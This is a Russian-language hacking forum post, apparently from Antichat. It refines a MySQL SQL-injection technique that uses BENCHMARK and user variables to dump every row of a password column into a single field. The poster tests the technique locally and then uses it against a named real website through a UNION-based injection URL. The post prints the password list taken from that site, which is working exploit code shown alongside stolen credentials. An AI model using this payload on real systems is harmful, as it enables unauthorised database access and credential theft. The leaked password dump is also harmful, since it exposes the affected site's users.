|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
С нами:
10227206
Репутация:
2163
|
|
забавно, то же самое обсуждали с джоком год назад
но ближе к телу, после ряда тестов на локалке заметил косяк:
Код:
mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> create table users (id char(255),password char(255));
Query OK, 0 rows affected (0.03 sec)
mysql> insert into users values (1,'lala1'),(2,'lala2'),(3,'lala3'),(11,'lala888'),(12,'lala999');
Query OK, 5 rows affected (0.00 sec)
Records: 5 Duplicates: 0 Warnings: 0
mysql> SELECT @count:=1,@out:=' ',BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
+-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
| @count:=1 | @out:=' ' | BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT0,1))) | @out |
+-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
| 1 | | 0 | <br>lala1;2<br>lala2;3<br>lala3;4 |
+-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT @count:=1,@out:=' ',BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
+-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
| @count:=1 | @out:=' ' | BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out |
+-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
| 1 | | 0 | NULL |
+-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
1 row in set (0.00 sec)
mysql> SELECT @count:=1,@out:=' ',BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
+-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
| @count:=1 | @out:=' ' | BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out |
+-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
| 1 | | 0 | NULL |
+-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
1 row in set (0.01 sec)
после первой пустой выборки зануляется весь @out
как вариант:
Код:
mysql> select concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char));
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char)) |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 010lala999:lala888:lala3:lala2:lala1:2341213 |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.03 sec)
подогнал все под 1 столбец, 010 - @a,@b,benchmark (вывод уже лень подгонять)
в полевых условиях:
http://docksr.us/en/nieuws.php?id=56+and+0+union+select+1,2,3,password ,5,6,7,8+from+users+limit+1,1--+
=>
http://docksr.us/en/nieuws.php?id=56+and+0+union+select+1,2,concat(@a: =0,@b:=1,benchmark(100,if((select+count(password)+ from+users+where+id=@a),@b:=concat((select+passwor d+from+users+where+id=@a),0x3a,@b,@a:=@a%2b1),@a:= @a%2b1))),cast(@b+as+char),5,6,7,8+from+users--+
=>
LS60VER:LS00aes56:LS90erc01:LS319oba29:LS00rk.:LS0 0_06@:LS31_Gan:LS00ili:LS260aue38:LS00ne.50:LS_4Ao sb56:099s:LS520my.41:LS858yha08:LS14y.e45:LS14ven1 2:LS20chi35:LS50che:LS01_ill:LS06ksh01:LS180del50: LS240lro12:LS6_0hav34:008ind:019mov:004con:018mis: 009ivk:033gat:031t:024pro:016m:015lsc:034dom:036si n:003bes:LS929anP41:e6612:n5510:013lsf:014lsd:b224 :LS98eart37:LS04Chof:LS60cie:Tyros:LS23xsle:LS50tb r:LS390s@h:LS146run:i112:LS45_baa:LS83_tri
? >4.1
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|